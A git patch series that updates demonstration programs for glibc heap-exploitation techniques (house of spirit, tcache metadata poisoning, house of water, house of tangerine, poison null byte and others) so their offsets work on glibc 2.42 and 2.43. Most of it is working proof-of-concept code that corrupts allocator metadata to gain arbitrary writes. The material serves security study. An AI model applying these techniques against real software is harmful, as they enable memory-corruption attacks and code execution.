printf("Find initial location of the heap\n"); - // The target location of our attack and the fake arena to use - uint8_t* fake_arena = malloc(0x1000); - uint8_t* target_loc = fake_arena + 0x30; - - uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10; - - /* - Prepare a valid 'malloc_state' (arena) 'system_mem' - to store a fastbin. This is important because the size - of a chunk is validated for being too small or too large - via the 'system_mem' of the 'malloc_state'. This just needs - to be a value larger than our fastbin chunk. - */ - printf("Set 'system_mem' (offset 0x888) for fake arena\n"); - fake_arena[0x888] = 0xFF; - fake_arena[0x889] = 0xFF; - fake_arena[0x88a] = 0xFF; - - printf("Target Memory Address for overwrite: %p\n", target_loc); - printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE); - - // Calculate the location of our fake arena - uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1); - uint64_t* fake_heap_info = (uint64_t*) new_arena_value; - - uint64_t* user_mem = malloc(MAX_SIZE); - printf("Fake Heap Info struct location: %p\n", fake_heap_info); - printf("Allocate until we reach a MAX_HEAP_SIZE offset\n"); - - /* - The fake arena must be at a particular offset on the heap. - So, we allocate a bunch of chunks until our next chunk - will be in the arena. This value was calculated above. - */ - while((long long)user_mem < new_arena_value){ - user_mem = malloc(MAX_SIZE); - } - - // Use this later to trigger craziness - printf("Create fastbin sized chunk to be victim of attack\n"); - uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 - uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem - printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk); - - printf("Fill up the TCache so that the fastbin will be used\n"); - // Fill the tcache to make the fastbin to be used later. - uint64_t* tcache_chunks[7]; - for(int i = 0; i < 7; i++){ - tcache_chunks[i] = malloc(0x50); - } - for(int i = 0; i < 7; i++){ - free(tcache_chunks[i]); - } - - - /* - Create a FAKE malloc_state pointer for the heap_state - This is the 'ar_ptr' of the 'heap_info' struct shown above. - This is the first entry in the 'heap_info' struct at offset 0x0 - at the heap. - - We set this to the location where we want to write a value to. - The location that gets written to depends on the fastbin chunk - size being freed. This will be between an offset of 0x8 and 0x40 - bytes. For instance, a chunk with a size of 0x20 would be in the - 0th index of fastbinsY struct. When this is written to, we will - write to an offset of 8 from the original value written. - - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 - */ - printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); - fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) - printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc)); - - /* - Set the non-main arena bit on the size. - Additionally, we keep the size the same as the original - allocation because there is a sanity check on the fastbin (when freeing) - that the next chunk has a valid size. - - When grabbing the non-main arena, it will use our choosen arena! - From there, it will write to the fastbin because of the size of the - chunk. - - ///// Vulnerability! Overwriting the chunk size - */ - printf("Set non-main arena bit on the fastbin chunk\n"); - puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); - chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit - - //// End vulnerability - - /* - The offset being written to with the fastbin chunk address - depends on the fastbin BEING used and the malloc_state itself. - In 2.31, the offset from the beginning of the malloc_state - to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an - additional byte offset of 0x20. In total, the writing offset - from the arena location is 0x30 bytes. - from the arena location to where the write actually occurs. - This is a similar concept to bk - 0x10 from the unsorted - bin attack. - */ - - printf("When we free the fastbin chunk with the non-main arena bit\n"); - printf("set, it will cause our fake 'heap_info' struct to be used.\n"); - printf("This will dereference our fake arena location and write\n"); - printf("the address of the heap to an offset of the arena pointer.\n"); - - printf("Trigger the magic by freeing the chunk!\n"); - free(fastbin_chunk); // Trigger the madness - - // For this particular fastbin chunk size, the offset is 0x28. - printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc))); - assert(*((unsigned long *) (target_loc)) != 0); -} From 8da3fb7809b2a5b8f9b05f494ae00f5af5bdcb46 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Tue, 24 Mar 2026 23:58:03 -0700 Subject: [PATCH 04/11] the old house of spirit relies on fastbin, which is dead --- glibc_2.43/house_of_spirit.c | 52 ------------------------------------ 1 file changed, 52 deletions(-) delete mode 100644 glibc_2.43/house_of_spirit.c diff --git a/glibc_2.43/house_of_spirit.c b/glibc_2.43/house_of_spirit.c deleted file mode 100644 index 220ecf76..00000000 --- a/glibc_2.43/house_of_spirit.c +++ /dev/null @@ -1,52 +0,0 @@ -#include -#include -#include - -int main() -{ - setbuf(stdout, NULL); - - puts("This file demonstrates the house of spirit attack."); - puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); - puts("Required primitives: known target address, ability to set up the start/end of the target memory"); - - puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); - void *chunks[7]; - for(int i=0; i<7; i++) { - chunks[i] = malloc(0x30); - } - for(int i=0; i<7; i++) { - free(chunks[i]); - } - - puts("\nStep 2: Prepare the fake chunk"); - // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) - long fake_chunks[10] __attribute__ ((aligned (0x10))); - printf("The target fake chunk is at %p\n", fake_chunks); - printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); - printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); - puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); - printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); - fake_chunks[1] = 0x40; // this is the size - - printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); - printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); - fake_chunks[9] = 0x1234; // nextsize - - puts("\nStep 3: Free the first fake chunk"); - puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); - void *victim = &fake_chunks[2]; - free(victim); - - puts("\nStep 4: Take out the fake chunk"); - puts("First we have to empty the tcache."); - for(int i=0; i<7; i++) { - malloc(0x30); - } - - printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]); - void *allocated = calloc(1, 0x30); - printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); - - assert(allocated == victim); -} From ad0f457e6c16ceb1715de40258c97c883adc85c9 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Wed, 25 Mar 2026 00:08:38 -0700 Subject: [PATCH 05/11] fix tcache_metadata related techs --- glibc_2.43/tcache_metadata_hijacking.c | 2 +- glibc_2.43/tcache_metadata_poisoning.c | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/glibc_2.43/tcache_metadata_hijacking.c b/glibc_2.43/tcache_metadata_hijacking.c index 269bce9b..15924e2d 100644 --- a/glibc_2.43/tcache_metadata_hijacking.c +++ b/glibc_2.43/tcache_metadata_hijacking.c @@ -29,7 +29,7 @@ int main() printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n"); /*Vulnerability*/ - chunk[0x420/8+21] = (long)&target[0]; + chunk[0x420/8+25] = (long)&target[0]; /*Vulnerability*/ void *p2 = malloc(0x10); diff --git a/glibc_2.43/tcache_metadata_poisoning.c b/glibc_2.43/tcache_metadata_poisoning.c index f133e4dc..c72ad154 100644 --- a/glibc_2.43/tcache_metadata_poisoning.c +++ b/glibc_2.43/tcache_metadata_poisoning.c @@ -35,16 +35,16 @@ int main() { "metadata chunk."); uint64_t *victim = malloc(0x10); printf("Victim chunk is at: %p.\n\n", victim); + puts("Now freeing it will lead to the allocation of the metadata on heap"); + free(victim); - long metadata_size = sizeof(struct tcache_metadata); - long rounded_metadata_size = metadata_size & ~(HEADER_SIZE-1); // round it down printf("Next we have to calculate the base address of the metadata struct.\n" "The metadata struct itself is %#lx bytes in size. Additionally we\n" "have to subtract the header of the victim chunk (so an extra 0x10\n" "bytes).\n", sizeof(struct tcache_metadata)); struct tcache_metadata *metadata = - (struct tcache_metadata *)((long)victim - rounded_metadata_size - HEADER_SIZE); + (struct tcache_metadata *)((long)victim + 2*HEADER_SIZE); printf("The tcache metadata is located at %p.\n\n", metadata); puts("Now we manipulate the metadata struct and insert the target address\n" From 693fbacdd6e08c5eae0bfc41701c25e5934eb8a4 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Wed, 25 Mar 2026 00:16:38 -0700 Subject: [PATCH 06/11] fix safe_link_double_protect.c --- glibc_2.43/safe_link_double_protect.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/glibc_2.43/safe_link_double_protect.c b/glibc_2.43/safe_link_double_protect.c index 8b8164f4..bccfe807 100644 --- a/glibc_2.43/safe_link_double_protect.c +++ b/glibc_2.43/safe_link_double_protect.c @@ -93,10 +93,10 @@ int main(void) { puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:"); // Calculate the address of the t-cache metadata - void *metadata = (void *)((long)(value) & ~(0xfff)); + void *metadata = (void *)((long)(value) & ~(0xfff)) + 0x70; // Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value - *(unsigned int*)(metadata+0xb0) = (long)(metadata)+((long)(value) & (0xfff)); + *(unsigned int*)(metadata+0xb0) = (((long)metadata >> 12) << 12)+((long)(value) & (0xfff)); printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12)); puts(""); From 3db4c065b58be9899ab1ff4610cdd45799614575 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Wed, 25 Mar 2026 00:34:54 -0700 Subject: [PATCH 07/11] fix mmap_overlapping_chunks.c --- glibc_2.43/mmap_overlapping_chunks.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/glibc_2.43/mmap_overlapping_chunks.c b/glibc_2.43/mmap_overlapping_chunks.c index 6a2808b4..a21d6bdd 100644 --- a/glibc_2.43/mmap_overlapping_chunks.c +++ b/glibc_2.43/mmap_overlapping_chunks.c @@ -89,7 +89,7 @@ int main() // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. // Additionally, this same attack can be used with the prev_size instead of the size. - mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; + mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2 + 0x10; printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n"); From 25ea2f63d5bbe796610120ccfd29dad3443b0bf2 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Wed, 25 Mar 2026 00:39:14 -0700 Subject: [PATCH 08/11] fix house_of_einherjar.c --- glibc_2.43/house_of_einherjar.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/glibc_2.43/house_of_einherjar.c b/glibc_2.43/house_of_einherjar.c index cbcecb61..dc095cf7 100644 --- a/glibc_2.43/house_of_einherjar.c +++ b/glibc_2.43/house_of_einherjar.c @@ -111,7 +111,7 @@ int main() // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk printf("\nFill tcache.\n"); - intptr_t *x[7]; + intptr_t *x[0x10]; for(int i=0; i Date: Thu, 26 Mar 2026 00:02:24 -0700 Subject: [PATCH 09/11] update house_of_tangerine so that there is no more free in it --- glibc_2.42/house_of_tangerine.c | 25 +++++++++++++++++-------- glibc_2.43/house_of_tangerine.c | 20 +++++++++++++------- 2 files changed, 30 insertions(+), 15 deletions(-) diff --git a/glibc_2.42/house_of_tangerine.c b/glibc_2.42/house_of_tangerine.c index 09ab47f6..a488b33c 100644 --- a/glibc_2.42/house_of_tangerine.c +++ b/glibc_2.42/house_of_tangerine.c @@ -140,18 +140,27 @@ int main() { assert(freed_top_size == CHUNK_SIZE_1); + // free the previous top_chunk + heap_ptr = malloc(SIZE_3); + // this will be our vuln_tcache for tcache poisoning vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; printf("tcache next ptr: 0x%lx\n", vuln_tcache); - // free the previous top_chunk - heap_ptr = malloc(SIZE_3); - - // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not - // as good as in tcachebin, let's force it to be in tcache by taking it out and free it - free(malloc(SIZE_1)); - + // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache + printf("repeat the above process and obtain one more free chunk\n"); + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + heap_ptr = malloc(SIZE_3); // do the free + printf("At this point, the latest freed chunk will be in fastbin while the other two in smallbin.\n"); + printf("We do one more large allocation malloc(0x10000) to move the chunk from fastbin to smallbin, so 3 chunks in smallbin\n"); + void *pad1 = malloc(0x10000); // a huge allocation that moves the fastbin to smallbin + printf("Now, we allocate one chunks from the smallbin, this will move the other two chunks into tcache.\n"); + void *pad2 = malloc(SIZE_1); // allocate from the smallbin to move things into tcache + + printf("Finally, we can do tcache poisoning.\n"); // corrupt next ptr into pointing to target // use a heap leak to bypass safe linking (GLIBC >= 2.32) heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); @@ -164,5 +173,5 @@ int main() { // proof that heap_ptr now points to the same string as target assert((size_t) heap_ptr == target); - puts((char *) heap_ptr); + puts("Success! During the whole process, we didn't use the free() function."); } diff --git a/glibc_2.43/house_of_tangerine.c b/glibc_2.43/house_of_tangerine.c index 09ab47f6..b145cd23 100644 --- a/glibc_2.43/house_of_tangerine.c +++ b/glibc_2.43/house_of_tangerine.c @@ -140,18 +140,24 @@ int main() { assert(freed_top_size == CHUNK_SIZE_1); + // free the previous top_chunk + heap_ptr = malloc(SIZE_3); + // this will be our vuln_tcache for tcache poisoning vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; printf("tcache next ptr: 0x%lx\n", vuln_tcache); - // free the previous top_chunk - heap_ptr = malloc(SIZE_3); - - // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not - // as good as in tcachebin, let's force it to be in tcache by taking it out and free it - free(malloc(SIZE_1)); + // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache + printf("repeat the above process and obtain one more free chunk\n"); + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + heap_ptr = malloc(SIZE_3); // do the free + printf("Now, one more allocation will move the other two chunks to tcache\n"); + void *pad = malloc(SIZE_1); // allocate one chunk from smallbin to move other chunks to tcache + printf("Finally, we can do tcache poisoning.\n"); // corrupt next ptr into pointing to target // use a heap leak to bypass safe linking (GLIBC >= 2.32) heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); @@ -164,5 +170,5 @@ int main() { // proof that heap_ptr now points to the same string as target assert((size_t) heap_ptr == target); - puts((char *) heap_ptr); + puts("Success! During the whole process, we didn't use the free() function."); } From 50ec31dbacfccca979e1ee95d3a9d48f282cff26 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Thu, 26 Mar 2026 00:23:23 -0700 Subject: [PATCH 10/11] metadata offset changed in 2.43 --- glibc_2.43/house_of_water.c | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/glibc_2.43/house_of_water.c b/glibc_2.43/house_of_water.c index 30a818c4..ff83c809 100644 --- a/glibc_2.43/house_of_water.c +++ b/glibc_2.43/house_of_water.c @@ -52,9 +52,9 @@ int main(void) { puts("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n"); puts("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n"); - // this allocation will force the allocation of `tcache_perthread_struct` at offset 0x4f0, which is good for us - puts("Do malloc(0x480) to force the misalignment of `tcache_perthread_struct`\n"); - malloc(0x4e0); + // this heap fengshui will force the allocation of `tcache_perthread_struct` at offset 0x1f0, which is good for us + puts("Do free(malloc(0x1e0)) to force the misalignment of `tcache_perthread_struct`\n"); + free(malloc(0x1e0)); puts("\n"); @@ -99,13 +99,13 @@ int main(void) { // Step 2: Fill up t-cache for 0x90 size class // This is just to make a pointer to the t-cache metadata for later. - void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x490; + void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x190; printf("metadata: %p\n", metadata); // Make allocations to free such that we can exhaust the 0x90 t-cache - puts("Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time"); - void *x[7]; - for (int i = 0; i < 7; i++) { + puts("Allocate 0x10 0x88 chunks needed to fill out the 0x90 t-cache at a later time"); + void *x[0x10]; + for (int i = 0; i < 0x10; i++) { x[i] = malloc(0x88); } @@ -115,11 +115,10 @@ int main(void) { puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them."); puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin"); puts("instead of the t-cache or small-bins."); - for (int i = 0; i < 7; i++) { + for (int i = 0; i < 0x10; i++) { free(x[i]); } - puts("\n"); puts("\t=============================="); puts("\t| STEP 3 |"); @@ -284,13 +283,13 @@ int main(void) { /* VULNERABILITY */ printf("\t- small_start:\n"); void *metadata_page = (void*)((long)metadata & ~0xfff); - printf("\t\t*%p = %p\n", small_start, metadata_page+0x700); - *(unsigned long *)small_start = (unsigned long)(metadata_page+0x700); + printf("\t\t*%p = %p\n", small_start, metadata_page+0x400); + *(unsigned long *)small_start = (unsigned long)(metadata_page+0x400); puts(""); printf("\t- small_end:\n"); - printf("\t\t*%p = %p\n", small_end, metadata_page+0x700); - *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x700); + printf("\t\t*%p = %p\n", small_end, metadata_page+0x400); + *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x400); puts(""); /* VULNERABILITY */ @@ -299,7 +298,7 @@ int main(void) { puts("\t- small bin:"); printf("\t\t small_start <--> metadata chunk <--> small_end\n"); - printf("\t\t %p\t %p %p\n", small_start, metadata+0x228, small_end); + printf("\t\t %p\t %p %p\n", small_start, metadata+0x400, small_end); puts("\n"); puts("\t=============================="); @@ -312,7 +311,7 @@ int main(void) { puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to"); puts("service the allocation from the small bin."); - for(int i = 7; i > 0; i--) + for(int i = 0x10; i > 0; i--) _ = malloc(0x88); // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin @@ -320,8 +319,6 @@ int main(void) { _ = malloc(0x88); - - // Next allocation *could* be our faked chunk! void *meta_chunk = malloc(0x88); From 0e163d9cce081fb16042198420e363e44990190b Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Thu, 26 Mar 2026 00:27:11 -0700 Subject: [PATCH 11/11] fix poison_null_byte --- glibc_2.43/poison_null_byte.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/glibc_2.43/poison_null_byte.c b/glibc_2.43/poison_null_byte.c index 5a348373..81b1cb7f 100644 --- a/glibc_2.43/poison_null_byte.c +++ b/glibc_2.43/poison_null_byte.c @@ -14,6 +14,9 @@ int main() puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n"); + // step0: force the allocation of tcache metadata to prevent it from messing with us + free(malloc(0x30)); + // step1: allocate padding puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"); void *tmp = malloc(0x1);